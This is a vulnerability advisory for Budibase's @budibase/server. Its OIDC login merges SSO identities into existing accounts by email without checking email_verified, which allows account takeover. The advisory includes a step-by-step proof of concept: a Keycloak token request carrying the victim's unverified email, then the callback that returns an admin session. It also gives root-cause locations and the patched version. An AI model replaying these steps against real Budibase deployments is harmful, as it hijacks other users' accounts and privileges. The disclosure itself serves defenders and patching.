criticalJul 24, 2026

Budibase OIDC SSO Account Takeover via Unverified Email Claim

Rohit Hatagale
AI Security Researcher, SecureLayer7

Budibase's OIDC login links an incoming SSO identity to an existing account by email address alone, without checking the email_verified claim, letting an attacker on a trusted IdP hijack any Budibase…

Package@budibase/server
Ecosystemnpm
Affected<= 3.38.1
Budibase OIDC SSO Account Takeover via Unverified Email Claim

The problem

When Budibase's OIDC callback cannot match an incoming token by the IdP sub, it silently falls back to getGlobalUserByEmail() and merges the session into whichever local account shares that email. The email_verified claim is never read anywhere in the codebase (grep -r email_verified packages/ returns 0 hits).

The merged session preserves the victim's _id, tenantId, and all roles. An attacker who can make a trusted IdP emit email = <victim> with email_verified = false inherits the victim's full session, including global-admin and builder rights. Keycloak and Authentik ship with "Verify Email" off by default, making this precondition easy to meet on a stock deployment.

Proof of concept

A working proof-of-concept for this issue in @budibase/server, with the exact payload below.

http
# Step 1: Obtain an OIDC token from the trusted IdP as the attacker,
# with the victim's email set (unverified). Keycloak example:
POST /realms/budi/protocol/openid-connect/token
Content-Type: application/x-www-form-urlencoded

grant_type=password
&client_id=budibase
&client_secret=<client_secret>
&username=attacker
&password=Attacker123!
&scope=openid email profile

# The returned id_token decodes to:
# {
#   "sub": "3cf58c45-...",
#   "preferred_username": "attacker",
#   "email": "victim@stand.local",
#   "email_verified": false
# }

# Step 2: Drive the standard OIDC authorization-code flow as that attacker
# account. The final redirect hits Budibase's callback:
GET /api/global/auth/oidc/callback?code=<auth_code>&state=<state>

# Step 3: Budibase issues a session JWT for the victim's account:
# budibase:auth => { "userId": "us_1ab2dfcf...", "email": "victim@stand.local", "tenantId": "default" }
# GET /api/global/self returns: _id=us_1ab2dfcf..., admin.global=true, builder.global=true

The root cause is a missing email_verified guard in two places. In oidc.ts, getEmail() and buildJwtClaims() extract the email claim from profile._json.email or jwtClaims.email without checking the verification flag. In sso.ts, the getGlobalUserByEmail() fallback (lines 57-59) then uses that unverified email as an authoritative account-linking key.

The syncUser() call spreads ...user over the victim's existing record, so the victim's _id is used in the subsequent UserDB.save() call. Because dbUser.email === email the email-change guard doesn't fire, and the EmailUnavailableError check is skipped entirely (it only runs in the !dbUser branch).

The session JWT is therefore issued for the victim's identity. The fix requires threading email_verified through buildJwtClaims/getEmail in oidc.ts and gating the getGlobalUserByEmail fallback in sso.ts on email_verified === true; if the flag is absent or false the login must be rejected.

CWE-287 (Improper Authentication).

The fix

Upgrade to Budibase 3.39.30 or later (patch commit 9ecd0048d9c3ae0ee9bd0e6204c621794dd1a4d3). The fix gates the email-based account-linking fallback on email_verified === true. Operators who cannot patch immediately should enable "Verify Email" on their IdP (Keycloak: Realm Settings > Login > Verify Email = on) and audit privileged accounts for unexpected OIDC provider links.

Reporter not attributed.

References: [1][2][3][4]

Related research